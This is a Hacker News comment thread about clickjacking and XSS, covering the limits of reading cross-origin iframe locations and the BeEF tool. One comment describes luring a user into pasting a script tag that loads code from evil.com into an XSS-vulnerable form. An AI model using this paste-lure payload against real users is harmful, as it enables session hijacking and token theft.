Hacker Newsnew | past | comments | ask | show | jobs | submitlogin

I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin.

However, a variant of the later attack you describe would work. You could get the user to click on a flash app on your page, which copies <script src="http://evil.com/script.js /> to your clipboard, then "click on the box below and press ctrl-v, then enter.". The box below would of course be the one on the XSSable page, and when the user hit enter, it would submit the form and load up the second page, XSSing the user.

This sounds far-fetched, but I've seen successful attacks like this in the wild.



> I don't think the particular clickjacking attack you suggest would work - you cannot read document.location on an iframe if that iframe has a different origin.

Ok--I wondered about that. But I figured BeEF has that capability so it must be possible somehow. At least, as far as I understand BeEF loads the page in a fullscreen IFRAME controlling the browser from the containing page. Guess I was wrong.

No other way to pull it off? Cause the token is right there in the URL, it's gotta be leaked somewhere ... :-)


I'm not that familiar with BeEF, but it is possible to set the location on child iframes, just not get it.

It also looks like BeEF is running on your local machine, so they could presumably do whatever they want to bypass the browser's security model.




Consider applying for YC's Summer 2026 batch! Applications are open till May 4

Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: